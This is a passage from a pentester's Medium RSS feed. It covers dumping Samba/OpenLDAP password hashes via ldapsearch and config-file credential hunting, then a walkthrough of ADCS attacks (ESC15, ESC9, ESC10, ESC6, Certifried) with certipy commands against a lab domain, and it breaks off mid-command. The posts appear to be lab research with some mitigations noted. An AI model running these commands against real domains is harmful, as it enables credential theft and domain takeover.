src="https://cdn-images-1.medium.com/max/1024/1*l8Ie_COXfsnZ7lytibH6MA.png" /></figure><p>Note: OpenLDAP ACL can only be enumerated by the rootDN. Let’s focus on the first one: to attrs=userPassword means the following ACEs only apply to the userPassword attribute.</p><ul><li>by self write = means a user has read and write access to their own userPassword attribute.</li><li>by anonymous auth = lets users authenticate with a password, because it provides unauthenticated users permission to provide a password which the server checks against the userPassword of the specified DN</li><li>by * none = all other principals are denied any access</li></ul><p>We can verify this ourselves with ldapsearch, first I authenticate with my rootDN and I am able to read the userPassword of every object who has it populated, while in the second command I use a normal user and therefore can only see that user’s own userPassword:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*BzlJ0J0E68JLLy7aeMACiA.png" /></figure><p>Boring I know, but this is important because sambaNTPassword and sambaLMPassword aren’t part of the default OpenLDAP schema, and when these attributes are introduced no additional ACLs are automatically added to protect them. This means that if you don’t add an ACL yourself, any domain user can dump domain hashes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*xQpWgdTKC1u9q5SvtCqV8Q.png" /></figure><p>Unfortunately for us most setup guides tell you to protect these attributes, so finding them readable is likely very uncommon, but watch out for that.</p><p>Another interesting attribute is sambaPasswordHistory, much like the AD equivalent it contains a user’s previous passwords, the string is a 16-byte salt followed by the NT hash. Sadly the password history feature is disabled by default in Samba, and even when enabled this attribute isn’t modified automatically, in fact, I can’t really find a way to get it to work in my lab.</p><p>What’s interesting about sambaPasswordHistory is that while most guides tell you to protect sambaNTPassword and sambaLMPassword this attribute is often forgotten (probably because disabled by default), so we may have read access to old passwords, if history is enabled at all.</p><p><strong>Hunting Config Files</strong></p><p>So only rootDN can read the juicy attributes. The somewhat good news is, sometimes the rootDN password is left on various config files scattered across *nix domain computers and the DC itself.</p><p>The easiest way to find a rootDN password is from the DC itself (or the LDAP server if it’s separate from the Samba server) if we can SSH on it, especially if slapd (the OpenLDAP daemon) is still configured with the older method, which is a plain config file at /etc/ldap/slapd.conf. Here the rootDN used to be in clear text by default, and the config file may be readable by unprivileged users too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*hAb1wgbiu3qEHCvUN5Q1EA.png" /></figure><p>If the password is hashed, for example with SSHA, we can still attempt an offline bruteforce. By default OpenLDAP does not require the rootDN password to be complex or long so there is some hope.</p><p>This config file isn’t used in newer versions of OpenLDAP anymore, as a different configuration method called OLC was introduced. If you’re lucky you might find older copies of this file, since admins might have saved it somewhere in case they wish to revert to the old configuration method.</p><p>Multiple services and daemons can interface with LDAP to allow access to Linux with domain credentials, and this requires administrators to provide credentials to access the directory. Administrators don’t <em>have</em> to use the rootDN, but doing so is faster than creating a new DN and an ACL so it can only access specific attributes.</p><p>Some of the services which might have interesting clear text credentials on domain hosts are NSS, kerberos and PAM, among others. These are only some of the possible locations of their configs:</p><ul><li>/etc/ldap.conf</li><li>/etc/ldap.secret</li><li>/etc/nslcd.conf</li><li>/etc/sssd/sssd.conf</li><li>/etc/openldap/ldap.conf</li><li>/etc/krb5kdc/service.keyfile</li><li>libnss_ldap.secret</li><li>pam_ldap.secret</li></ul><p>If we got lucky and found the password we can dump hashes with a simple LDAP read:</p><pre>ldapsearch -H ldap://192.168.0.212 -D cn=admin,dc=openldap,dc=local -W -b dc=openldap,dc=local -LLL &quot;(objectClass=sambaSamAccount)&quot; uid sambaNTPassword</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*UudCI4fLB6vmgwcmqObNAA.png" /></figure><p><strong>References</strong></p><ul><li><a href="https://wiki.samba.org/index.php/Back_up_and_Restoring_a_Samba_AD_DC">https://wiki.samba.org/index.php/Back_up_and_Restoring_a_Samba_AD_DC</a></li><li><a href="https://wiki.samba.org/index.php/Keytab_Extraction">https://wiki.samba.org/index.php/Keytab_Extraction</a></li><li><a href="https://sambaxp.org/archive-data-samba/sxp09/SambaXP2009-DATA/Guenther_Deschner_talk.pdf">https://sambaxp.org/archive-data-samba/sxp09/SambaXP2009-DATA/Guenther_Deschner_talk.pdf</a></li><li><a href="https://ubuntu.com/server/docs/openldap-backend-legacy">https://ubuntu.com/server/docs/openldap-backend-legacy</a></li><li><a href="https://malicious.link/posts/2014/2014-05-14-dumping-ntds-dot-dit-domain-hashes-using-samba/">https://malicious.link/posts/2014/2014-05-14-dumping-ntds-dot-dit-domain-hashes-using-samba/</a></li><li><a href="https://www.samba.org/samba/docs/4.9/man-html/samba-tool.8.html">https://www.samba.org/samba/docs/4.9/man-html/samba-tool.8.html</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=448c3914b17b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ADCS Exploitation Series — Part 2: Certificate Mapping + ESC15]]></title>
            <link>https://medium.com/@offsecdeer/adcs-exploitation-series-part-2-certificate-mapping-esc15-6e19a6037760?source=rss-27dad9470782------2</link>
            <guid isPermaLink="false">https://medium.com/p/6e19a6037760</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Giulio Pierantoni]]></dc:creator>
            <pubDate>Thu, 10 Oct 2024 15:31:22 GMT</pubDate>
            <atom:updated>2024-10-10T17:13:02.152Z</atom:updated>
            <content:encoded><![CDATA[<h3>ADCS Exploitation Part 2: Certificate Mapping + ESC15</h3><p>Certificate mapping is the process at the heart of multiple ADCS vulnerabilities, so I thought it would be appropriate to dedicate it its own post. On top of that we’ll also see the brand new ESC15 attack, just recently discovered and documented by <a href="https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc">TrustedSec</a> and dubbed EKUwu.</p><h3>ESC15 (EKUwu)</h3><p>This very recent vulnerability has been discovered and documented at <a href="https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc">TrustedSec</a> and exploits a legacy ADCS feature called application policies, supported in all schema version 1 templates, which are the templates that used to come with the very first version of ADCS.</p><p>Application Policies is a proprietary certificate extension with the OID 1.3.6.1.4.1.311, it was to be used for users to specify further use cases for certificates, this was done by using the same OIDs of the Enhanced Key Usage extension, which should contain the list of supported EKUs:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*rugu0Vp0rf8XNZraqDkpPA.png" /></figure><p>When a DC is trying to figure out if a user-provided certificate can be used for the requested operation it will also check if the certificate has an Application Policy extension, and if it does, it will take those EKUs and ignore those in Enhanced Key Usage.</p><p>When a user requests a certificate built from a schema version 1 template and supplies an application policy this gets incorporated in the certificate, allowing users to specify arbitrary EKUs to use the certificate however they wish, pretty much rendering this a slight variation of ESC2, aka “any purpose EKU abuse”.</p><p>The WebServer template is enabled by default in ADCS, requires a user-supplied SAN and only has the Server Authentication EKU:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*aRojKDTV5CdOp3Cf6rZcMA.png" /></figure><p>Basically anyone who is given Enroll permissions for this template can compromise the domain by supplying the CA an arbitrary EKU OID, which will be incorporated in the certificate’s Application Policies extension and given priority, and provide the UPN of a domain admin (by default no unprivileged user can enroll this template).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v-ip3cYCxBGF1V8Mf12JYw.png" /></figure><p>The certipy repo recently received a <a href="https://github.com/ly4k/Certipy/pull/228">pull request</a> from a fork that implemented ESC15 exploitation through the --application-policies &lt;EKU/OID&gt; flag. This is how we could exploit the WebServer template to impersonate a domain admin:</p><pre>certipy req -dc-ip 192.168.0.222 -ca CA -target-ip 192.168.0.223 -u pirelli@testlab.loc -p &#39;Peepee!1&#39; \<br>-template WebServer -upn Administrator@testlab.loc --application-policies &#39;Client Authentication&#39;</pre><p>When we set the application policy to Client Authentication we receive a certificate we can use to impersonate arbitrary users over SChannel, PKINIT authentication however won’t work:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*Us6JsLU7DC5x1ZH-CFWiIA.png" /></figure><p>If we check the issued certificate we can see it does contain the Client Authentication EKU within the Application Policies extension:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*-M1FOH_djF6HFOy6qWrNJg.png" /></figure><p>Alternatively, we can specify the Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1) and use the certificate for an ESC2/ESC3 attack:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*CDdpjxl6iLKqSoRWQfq__w.png" /></figure><p>In BloodHound we can use this example query to identify any unprivileged users who could exploit this vulnerability:</p><pre>MATCH q=(u)-[:Enroll]-&gt;(t:CertTemplate)<br>WHERE t.schemaversion = 1<br>AND t.enrolleesuppliessubject = TRUE<br>AND (u.admincount = FALSE OR u.admincount IS NULL)<br>RETURN q</pre><p>If the application policy feature isn’t being used CA administrators may disable them completely:</p><pre>certutil -setreg policy\DisableExtensionList +1.3.6.1.4.1.311.21.10</pre><p>If there are any vulnerable templates which need to be used by unprivileged users the template can be duplicated, this creates a schema version 2 copy of the original with the same configuration, but not affected by ESC15.</p><h3>Certificate Mapping</h3><p>Knowing what certificate mapping is helps us understand how Certifried, ESC9, ESC10 and ESC14 work and why ESC6 doesn’t anymore, you can find even more details on mapping <a href="https://medium.com/specter-ops-posts/adcs-attack-paths-in-bloodhound-part-3-33efb00856ac">in</a> <a href="https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7">these</a> <a href="https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9">three</a> great articles.</p><p>Certificate mapping takes place when a user authenticates in AD with a certificate, the DC will try to verify if the subject in the SAN matches with the AD account the user is authenticating as. Certificate mapping can be either “explicit” or “implicit”: explicit certificate mapping is when an account is directly linked to a specific certificate through the altSecurityIdentities attribute, which will contain information like a certificate’s serial number, while “implicit” mapping makes use of the UPN or DNS name in a certificate’s SAN extension. In this article we’ll only see the latter, I am saving ESC14 for next time but in the meantime you can find out more in <a href="https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9">Jonas Bülow Knudsen’s article</a>.</p><p><strong>Implicit Certificate Mapping</strong></p><p>Take this certificate obtained from a template vulnerable to ESC1:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*dgW5oYmSZl2CqiWYkVoUhg.png" /></figure><p>At the top we can see this certificate was issued to user pirelli but the SAN extension contains the UPN of Administrator, this means the certificate should be mapped to Administrator even though a different user was the enrollee. We can use this as an example for how implicit mapping works: if we look at the userPrincipalName attribute of Administrator we find out it’s actually empty:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*yeq9t6stXi2sm9_r9JG_1w.png" /></figure><p>Yet this certificate can be used to authenticate successfully:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*tv4OaPnJ83zh42Va5R6F-w.png" /></figure><p>This is because there are multiple steps the DC performs to validate the UPN provided in a certificate:</p><ul><li>if the SAN contains a UPN like user@domain.com the DC will search for any users with the userPrincipalName attribute equal to user@domain.com</li><li>if no match is found, the domain segment of the UPN (domain.com, if present) is checked against the DC’s own domain, and the DC tries to look for any account with a sAMAccountName attribute equal to the username segment (user)</li><li>if this fails too a $ is appended to the username bit (user$) and the sAMAccountName check is performed again</li><li>if all these checks fail authentication is rejected</li></ul><p>When the DC performs implicit mapping on the certificate above it takes the UPN administrator@testlab.loc, sees no user has this UPN, so it takes the string administrator and finds the user with that sAMAccountName.</p><p>Implicit mapping also works when a DNS name is supplied in the SAN extension, the DC first checks if any machine account has its dNSHostName attribute equal to the one supplied in the certificate (user accounts don’t have this attribute), if it can’t find one it splits the name in two, with a segment for the computer name and one for the domain name, a $ is appended to the computer name and the DC tries to find an account with a matching sAMAccountName.</p><p><strong>szOID_NTDS_CA_SECURITY_EXT</strong></p><p>The patch that corrected the “certifried” vulnerability (<a href="https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4">CVE-2022–26923</a>) introduced a new security extension for certificates called szOID_NTDS_CA_SECURITY_EXT, which is now added to every issued certificate where the enrollee doesn’t supply a SAN, which means it will NOT be included in any template where the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag is set. This extension has the OID 1.3.6.1.4.1.311.25.2 and it contains the enrollee’s objectSid:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/404/1*WHBwhlH16W2vukODTKCvfA.png" /></figure><p>When a user authenticates with such a certificate the DC takes the SID in the extension and finds an account with a matching objectSid, if the found account is the same as the one in the subject then authentication is allowed.</p><p>Take however an example of ESC6 exploitation, where a vulnerable CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag set and therefore accepts a user-provided SAN even in certificate templates which weren’t set up for that: here an unprivileged user (tantani) tries to impersonate Administrator. Because ESC6 utilizes templates where CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT is not set the extension will be added to the certificate and it will contain the enrollee’s SID (tantani), but the DC will compare it to the SID of the user mapped to the certificate, administrator, inevitably raising a mismatch error and denying the logon.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*weMrWOjrGNswmw75Yan1RA.png" /></figure><p>This new extension (<em>almost</em>) kills off ESC6, but based on the degree to which it is enforced a CA may still be vulnerable to ESC9 or ESC10, both of which can resurface from registry configurations which will make the SID extension requirements less strict.</p><p>In order to provide backwards compatibility in environments where the new extension could break authentication with existing certificates Microsoft added two registry keys:</p><ul><li>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel\CertificateMappingMethods : for SChannel authentication</li><li>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcement : for kerberos authentication</li></ul><p>CertificateMappingMethods is a bitmask where each bit represents a different type of mapping which is supported for SChannel authentication, 0x4 for example enables UPN mapping and 0x1F enables all of them, 0x18 is the current default value. When UPN mapping is enabled (it’s not by default) the same mapping order we saw earlier will get priority over the szOID_NTDS_CA_SECURITY_EXT extension, which gets ignored if the mapping succeeds. <a href="https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16">These</a> are all the possible mapping methods, even if UPN is the only one we are interested in:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*GwOdXa3d1ogyEcTmAmyhqg.png" /></figure><p>StrongCertificateBindingEnforcement can be either 0, 1, or 2, 1 being the current default value. When this key is 2 authentication with a certificate is allowed when the provided certificate is explicitely mapped to the user or if the new extension is validated, authentication fails if the extension is missing. This is the strictest setting and Microsoft plans to make it the future default, though this change has been postponed a few times and right now is planned for February 2025.</p><p>If StrongCertificateBindingEnforcement is 0 the extension doesn’t need any validation and mapping takes place with the validation of the UPN and DNS fields of the SAN extension, so the DC will act like the extension doesn’t exist even when included. At the time of writing this value isn’t supported anymore.</p><p>In the (current) default value, 1, a DC tries validating the new extension but if it’s missing it will still try to perform SAN validation like when the key is set to 0. Either way, when the new extension is enforced Microsoft says the DC is performing “strong mapping”, and when these registry keys are modified it will revert to “weak mapping”, which is basically the old pre-certifried process.</p><p>This is interesting to us because many administrators were forced to change these keys to keep their old certificates from being rejected, thus bypassing the new security extension and introducing ESC9 and ESC10.</p><p>Both ESC9 and ESC10 exploit the way implicit certificate mapping works by tricking a DC into believing a certificate issued to attacker X is actually issued to privileged user Y. This can be achieved by manipulating the userPrincipalName and dNSHostName attributes of an attacker-controlled account, based on the flags that are set on the exploitable templates.</p><h3>ESC9 (No Security Extension)</h3><p>The May 2022 patch that fixed Certifried didn’t just introduce the new szOID_NTDS_CA_SECURITY_EXT extension, it also added a flag in the msPKI-Enrollment-Flag attribute of certificate templates called CT_FLAG_NO_SECURITY_EXTENSION, which is flag number 0x80000 to be exact.</p><p>Flipping this switch disables the new extension for a specific template, this is how an administrator would do it:</p><pre>certutil -dstemplate ESC9 msPKI-Enrollment-Flag +0x00080000</pre><p>When this flag is set implicit mapping can be abused when these conditions are met:</p><ul><li>StrongCertificateBindingEnforcement is NOT 2 (currently 1 is the default), or CertificateMappingMethods has the SAN validation flag set (0x4, not set by default)</li><li>a client authentication certificate has the CT_FLAG_NO_SECURITY_EXTENSION flag set</li><li>the attacker has GenericWrite over an account that can enroll in the vulnerable template</li></ul><p>Of course we also need all the usual conditions for most ESC vulnerabilities:</p><ul><li>CA that appears in the domain’s NTAuthCertificates</li><li>template does not require manager approval or authorized signatures</li><li>template is published to AD</li><li>the writable account can enroll on the target CA</li><li>the writable account can enroll in the target template</li><li>the PKI hierarchy is trusted by the domain</li><li>template has a client authentication EKU</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jM2Ji15tmYdfyL0VgJER7g.png" /></figure><p>The above certificate can be used for privileged escalation by any user with GenericWrite permissions over another account. One thing to note is the presence of the flag SubjectAltRequireUpn, this means the enrollee’s userPrincipalName attribute will be included in the SAN extension and used to map the certificate to the AD account, so we’ll need to modify our writable user’s UPN to make sure the certificate maps it to our impersonation target’s UPN, we’ll later see how in Bloodhound UPN mapping exploitation is called “scenario A”.</p><p>“scenario B” on the other hand exploits DNS mapping, it’s for when the template has the SubjectAltRequireDns flag set, resulting in a certificate with the enrollee’s dNSHostName attribute in the SAN. Since mapping is based around the enrollee’s dNSHostName attribute we can only impersonate other machine accounts, like a domain controller, and we need to use a writable machine account instead of a user account, as AD user objects do not have this attribute.</p><p>To start the UPN mapping attack we need the writable account’s credentials, shadow credentials is perhaps the easiest method to obtain them, and certipy supports it with the shadow command:</p><pre>certipy shadow auto -username tantani@testlab.loc -p &#39;AAAAaaaa!1&#39; -account pirelli</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tB7cX8Bfd3ajZ8NM7rCWYQ.png" /></figure><p>The UPN of the writable user is changed into our target’s sAMAccountName with the account update command:</p><pre>certipy account update -username tantani@testlab.loc -p &#39;AAAAaaaa!1&#39; -user pirelli -upn Administrator</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*2H7X5W3Rk3TRg94L1BoyUQ.png" /></figure><p>By omitting the domain suffix from the UPN we avoid conflicts with other UPNs in the domain, which by default all contain the suffix. The UPN processing order will still allow the DC to map the UPN Administrator in our writable account to the actual administrator, making its impersonation possible. Then we use the writable account to request a certificate for the ESC9 template:</p><pre>certipy req -u pirelli@testlab.loc -hashes c94d2f91b93381755e7bfefd5a2b1fb7 -dc-ip 192.168.0.222 -ca CA -template ESC9 -target-ip 192.168.0.223</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SMZFH-p-TSKu4CpCbsjLUg.png" /></figure><p>The UPN of the writable account is changed back to the original:</p><pre>certipy account update -username tantani@testlab.loc -p &#39;AAAAaaaa!1&#39; -user pirelli -upn pirelli@testlab.loc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*oxSd9L0HQlc3ns7fiWrMdw.png" /></figure><p>The certificate we have obtained can now be used to authenticate as Administrator with the usual auth commands, except we need to specify -domain since the UPN in the certificate (administrator) does not have it:</p><pre>certipy auth -dc-ip 192.168.0.222 -domain testlab.loc -pfx administrator.pfx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*POMcJaoLGeB4c9tVjVY03Q.png" /></figure><p>In scenario B we need a machine account with a dnsHostName attribute we can modify arbitrarily, and by this I mean that unfortunately we cannot use the MachineAccountQuota to create a new machine account, because in this case we’d get validated write permissions over the attribute, so we can only modify the dnsHostName attribute to a value that matches the computer’s own sAMAccountName. This was implemeted with the patch that corrected Certifried, but does not apply if we have GenericWrite on a machine account.</p><p>We can observe this in the following scenario, where the same user has WriteAccountRestrictions over TEST1$, an account it just created, and GenericAll over TESTCOMPUTER$:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*RLvoKcwGSmCX29kLXshdwg.png" /></figure><p>Modifying TEST1$’s dnsHostName results in an CONSTRAINT_ATT_TYPE error, but the DC won’t complain about doing the same with TESTCOMPUTER$, even though we are assigning it the same DNS name of the DC we wish to impersonate:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a_dOUByr1m-NvC8Vpw1FyQ.png" /></figure><p>This is because while UPN names must be unique domain-wide no such constraints are placed on DNS names.</p><p>The second limitation to scenario B is that we can only impersonate machine accounts, hence the choice of targeting a DC. certipy’s account update command lets us change the dnsHostName attribute with the -dns flag. The rest the attack is the same as scenario A, except we don’t need to change back our machine account’s DNS name right away:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*sDnpePmhYh8IhpW-cdR86w.png" /></figure><h3>ESC10 (Weak Certificate Mappings)</h3><p>ESC10 used to be possible when one of these two conditions were met on a DC:</p><ul><li>StrongCertificateBindingEnforcement = 0 (no longer supported!)</li><li>CertificateMappingMethods has UPN flag set (0x4) (still supported, not default)</li></ul><p>Unfortunately for attackers neither of the two keys can be enumerated by unprivileged users, so we have no choice but make a blind attempt.</p><p><strong>Kerberos Authentication</strong></p><p>This was the scenario where StrongCertificateBindingEnforcement was set to 0, it only applied to kerberos authentication. Exploitation in this case was to be pretty much identical to ESC9, except we could request any client authentication certificate we wanted, like the default User. Unfortunately this setting is no longer supported as of Microsoft’s plan to make strong mapping the only available option in due time.</p><p><strong>SChannel Authentication</strong></p><p>This is in case CertificateMappingMethods has its UPN flag (0x4) set, for example this happens when the value is set to 0x1f, which enables all mapping methods. With this method we can only compromise accounts that do not already have a populated userPrincipalName attribute, such as machine accounts and the default domain administrator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fqt81fq8TkpizSH9cvl-Rw.png" /></figure><p>Also because this key only applies to SChannel authentication we are forced to authenticate to LDAPS with certipy’s -ldap-shell flag, instead of using PKINIT. Like with ESC9 we also need GenericWrite over an account with enrollment permissions on a client authentication template.</p><p>Like with ESC9 we can exploit UPN or DNS mapping based on the templates we can enroll in and their flags: if the template requires the enrollee’s UPN or SPN in the SAN we can do scenario A (it turns out when a template is marked to require an SPN in the SAN it will just add the account’s UPN instead), and if it requires its DNS we can do scenario B.</p><p>This time the target of the attack is the domain controller dc.testlab.loc. After getting the writable account’s credentials we modify its UPN to &lt;target&gt;$@domain.com, so in this case it will be dc$@testlab.loc:</p><pre>certipy account update -username tantani@testlab.loc -p &#39;AAAAaaaa!1&#39; -user pirelli -upn &#39;dc$@testlab.loc&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*975Ju0ADB50TG-I7X1d4lA.png" /></figure><p>Once again we are exploiting the UPN mapping validation, where the DC removes the domain half and looks for any account with its sAMAccountName equal to the user half of the UPN (here dc$).</p><p>Likewise, if the template requires the DNS name isntead of the UPN in the SAN we simply modify the account’s dnsHostName attribute with the same command as before but with the -dns flag to specify the target’s own dnsHostName. Here we don’t need to worry about conflicts as the DC allows two different accounts with the same dnsHostName.</p><p>We then enroll in a client authentication certificate like User with our writable account:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1pJteIUlGdMIG-fDXqSE5g.png" /></figure><p>From the output we can see the certificate contains the UPN dc$@testlab.loc while the objectSid is that of our account, not of the DC: normally this mismatch would make the mapping fail, but because SChannel UPN validation is enabled on the DC the UPN is given priority, and due to the processing order we’ve seen earlier this UPN will be mapped to the real domain controller account. We change back the writable user’s UPN to the original:</p><pre>certipy account update -username tantani@testlab.loc -p &#39;AAAAaaaa!1&#39; -user pirelli -upn pirelli@testlab.loc</pre><p>And finally we use the certificate to authenticate on the DC’s LDAPS service, from where we can setup RBCD:</p><pre>certipy auth -dc-ip 192.168.0.222 -pfx dc.pfx -ldap-shell</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*6D3wyxVlv1yufbrEmyNfmg.png" /></figure><p>With delegation rights in our hands we can take control of the host with the usual S4U2Self+Proxy method:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*g1s32irGxkDTmOkb6SxO-w.png" /></figure><h3>ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2)</h3><p>ESC6 is a vulnerability born from setting the EDITF_ATTRIBUTESUBJECTALTNAME2 flag on a CA, enabling a CA to accept a user-provided SAN in ANY certificate template regardless of how they are configured. As such, ESC6 is simply exploited the same way ESC1 is, by requesting a client authentication certificate and specifying a user to impersonate, but we aren’t limited to certificates requiring a user-provided SAN, literally any one with a Client Authentication EKU will work. Administrators may enable this dangerous setting like so:</p><pre>certutil -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2</pre><p>Unfortunately as we have already seen the introduction of the szOID_NTDS_CA_SECURITY_EXT extension effectively breaks this vulnerability unless the CA is also vulnerable to ESC9 as we’ll see in a moment. Either way certipy can spot the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UubexQXugk7btzW0W6KEMA.png" /></figure><p>Exploitation on an unpatched CA is as simple as using the same command we’d use for ESC1 but with any client authentication template we can enroll in, by default we can use the User template if we control a member of Domain Users and the Machine template if we have Domain Computers credentials.</p><p>Requesting these default templates is also a valid way to check if the DC was patched, User and Machine are two templates which should result in a certificate with the szOID_NTDS_CA_SECURITY_EXT extension and they are available by default to every user and computer, so if we see there’s no SID in the certificate, then the DC should vulnerable:</p><pre>certipy req -dc-ip 192.168.0.100 -target-ip 192.168.0.105 -template User -ca CA -u pirelli@testlab.loc -p &#39;Peepee!1&#39; -upn administrator@testlab.loc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D6JOAGmuLcXt_ke1v0M4LQ.png" /></figure><p>Meanwhile, in a patched environment:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mnOqmWc_6U-208uDafA1hQ.png" /></figure><p>If the DC and CA are patched ESC6 can still be exploited with the aid of the NO_SECURITY_EXTENSION flag and the SAN URI feature, as described by <a href="https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-3-33efb00856ac">Jonas Bülow Knudsen</a>: SAN URIs are used to create strong mapping certificates by replacing the SID in the security extension with one included in a <a href="https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/preview-of-san-uri-for-certificate-strong-mapping-for-kb5014754/ba-p/3789785">specially formated URI</a>, for example: tag:microsoft.com,2022–09–14:sid:S-1-5-21-4290863543-3613941847-1609746998-500</p><p>When a certificate with the NO_SECURITY_EXTENSION flag set has a SAN URI with a SID the DC will validate this instead of the missing extension, effectively reintroducing ESC6. <a href="https://github.com/GhostPack/Certify">Certify</a> supports the creation of these certificates with the /url parameter, at the moment certipy does not support this feature.</p><h3>Certifried (CVE-2022–26923)</h3><p><a href="https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4">Certifried</a> (AKA CVE-2022–26923) is a domain escalation vulnerability discovered by Oliver Lyak (who also found ESC9 and ESC10) and which was patched on May 22 2022, it affected every default AD domain with an enterprise CA. It allowed any unprivileged user to obtain a certificate mapped to an arbitrary computer, including the DC.</p><p>The vulnerability stems from the fact that by default any user could create machine accounts through the domain’s ms-DS-MachineAccountQuota, then modify this account’s dNSHostName attribute to the DNS FQDN of an existing domain computer, like a DC. A Machine client authentication template is available by default to all machine accounts and can be used to exploit implicit mapping to impersonate arbitrary computers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*njWKCd9n4A0OrdHhDnSw-A.png" /></figure><p>If an attacker has control of a machine account the dNSHostName attribute can be modified with the FQDN of a DC, a CSR for the Machine template is then submitted to receive a certificate which gets implicitely mapped to the DC account, allowing the impersonation of the domain controller. Same concept as the other mapping attacks, but without having to worry about the szOID_NTDS_CA_SECURITY_EXT extension (since it was introduced specifically to patch this issue) and with the added bonus of being able to use MachineAccountQuota to create a writable account. In short, it’s a very simple domain escalation attack which used to be available to ANY user and computer.</p><p>Exploitation on unpatched systems is simple, certipy implements the machine account creation as well as the certificate request. The first step is achieved with the account create command, specifying the DNS name of the DC we want to impersonate:</p><pre>certipy account create -dc-ip 192.168.0.100 -u pirelli@testlab.loc -p &#39;Peepee!1&#39; -dns srv-dc.testlab.loc -user Evil</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*YxD_gUeaFrqeS0e58bny7A.png" /></figure><p>If we receive a CONSTRAINT_ATT_TYPE error is because the DC is patched, and the DC will prevent us from writing an arbitrary dnsHostName with our partial write permissions.</p><p>One thing to note is that certipy will also remove any SPNs containing the writable account’s original DNS name, this is because when we change its dnsHostName the DC will try to update the existing strings in our account’s servicePrincipalNames attribute replacing the old DNS name with the new one: this is a problem because SPNs must be unique and our new DNS name matches that of our target computer, so the updated servicePrincipalNames would be in conflict with the target’s. To avoid this conflict certipy removes the SPNs containing the dnsHostName from the “victim” account in our control, this way the SPN doesn’t need to be updated. This is important to know if for some reason we need to modify the attributes manually.</p><p>The certificate can then be requested providing the credentials of the newly created machine account and the Machine template:</p><pre>certipy req -dc-ip 192.168.0.100 -ca CA -target-ip 192.168.0.105 -u &#39;Evil$@testlab.loc&#39; -p GqoSYwQs57QAkBjc -template Machine</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XBIzeCiu6lk7uoHOsoMi7w.png" /></figure><p>Notice how the certificate we received contains the DNS name of the DC even though the sAMAccountName of the used machine account is completely different, this allows us to trick the implicit certificate mapping into thinking the certificate was issued to the real domain controller.</p><p>With this certificate we can for example DCSync the domain:</p><pre># certipy auth -pfx srv-dc.pfx -dc-ip 192.168.0.100 -no-hash<br># KRB5CCNAME=srv-dc.ccache getST.py -k -no-pass -spn cifs/srv-dc 